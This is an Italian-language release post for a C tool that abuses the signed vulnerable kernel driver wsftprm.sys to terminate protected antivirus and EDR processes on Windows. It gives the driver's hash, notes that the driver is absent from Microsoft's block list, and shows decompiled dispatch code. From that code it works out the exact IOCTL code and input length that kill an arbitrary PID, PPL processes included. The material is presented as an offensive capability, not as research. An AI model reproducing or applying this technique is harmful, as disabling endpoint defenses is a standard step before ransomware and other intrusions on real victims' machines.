
Strumento basato su C che sfrutta il driver kernel vulnerabile wsftprm.sys per terminare processi protetti di EDR/AV su Windows, inclusi i processi PPL, tramite logica di dispatch IOCTL reversata.
F, un altro driver è stato bruciato.. Stavo tenendo per me il driver wsftprm.sys per un po' ;) ma visto che qualcuno ha pubblicato un POC pubblico, lo rilascio. Sappiamo tutti che presto verrà aggiunto alla lista dei driver bloccati, quindi ecco la mia implementazione per lo stesso — in C
Questo progetto sfrutta il driver vulnerabile wsftprm.sys (Topaz Antifraud kernel driver) per terminare processi protetti (es. servizi antivirus/EDR) su Windows.
A partire da gennaio 2026, wsftprm.sys (SHA-256: FF5DBDCF6D7AE5D97B6F3EF412DF0B977BA4A844C45B30CA78C0EEB2653D69A8) rimane uno dei driver vulnerabili firmati che non è nella lista ufficiale dei driver vulnerabili bloccati di Microsoft.
Ci sono tonnellate di informazioni su come caricare e fare reverse di un driver, quindi fai riferimento a quelle. L'unica cosa interessante di questo driver è come gestisce gli IOCTL.. Il driver non usa un normale switch per la distribuzione degli IOCTL. Invece, utilizza una catena di sottrazioni dal codice IOCTL per oscurare i valori previsti.
__int64 __fastcall DispatchDeviceControl(__int64 a1, __int64 a2, ...)
{
// ...
v7 = IoControlCode; // v6[6] = Parameters.DeviceIoControl.IoControlCode
v8 = v7 - 0x222000;
v9 = v8 - 4;
v10 = v9 - 4;
v11 = v10 - 16;
if ( v11 == 4 && InputBufferLength == 1036 )
{
// Copia il buffer di input di 1036 byte
// Estrae il primo DWORD come PID (v41)
// Chiama sub_14000264C(v41, buffer) → porta alla terminazione
}
}
sub_14000264C(unsigned int a1, __int64 a2)
{
// ...
v4 = sub_140002848(a1); // a1 = PID dal buffer[0..3]
}
__int64 __fastcall sub_140002848(unsigned int a1) // PID
{
CLIENT_ID ClientId = { (HANDLE)a1, 0 };
OBJECT_ATTRIBUTES ObjAttr = { sizeof(ObjAttr), 0, 0, 0, 0, 0 };
HANDLE ProcessHandle;
ZwOpenProcess(&ProcessHandle, PROCESS_ALL_ACCESS, &ObjAttr, &ClientId);
if (NT_SUCCESS(status) && ProcessHandle)
{
ZwTerminateProcess(ProcessHandle, 0);
ZwClose(ProcessHandle);
}
// ...
}
quindi ora sappiamo i prerequisiti per raggiungere la funzione vulnerabile. Fondamentalmente v11 == 4 && InputBufferLength == 1036, quindi possiamo ricostruire all'indietro dalla condizione per ottenere il codice IOCTL.. Qualcosa del genere:
v11 == 4
→ v10 - 16 == 4 → v10 = 20 (0x14)
→ v9 - 4 == 20 → v9 = 24 (0x18)
→ v8 - 4 == 24 → v8 = 28 (0x1C)
→ v7 - 0x222000 == 28 → v7 = 0x222000 + 0x1C = 0x22201C
E poi puoi usare DeviceIoControl con il codice IOCTL per terminare il processo desiderato (inclusi i processi PPL)
Ultimo test su Windows Versione 25H2!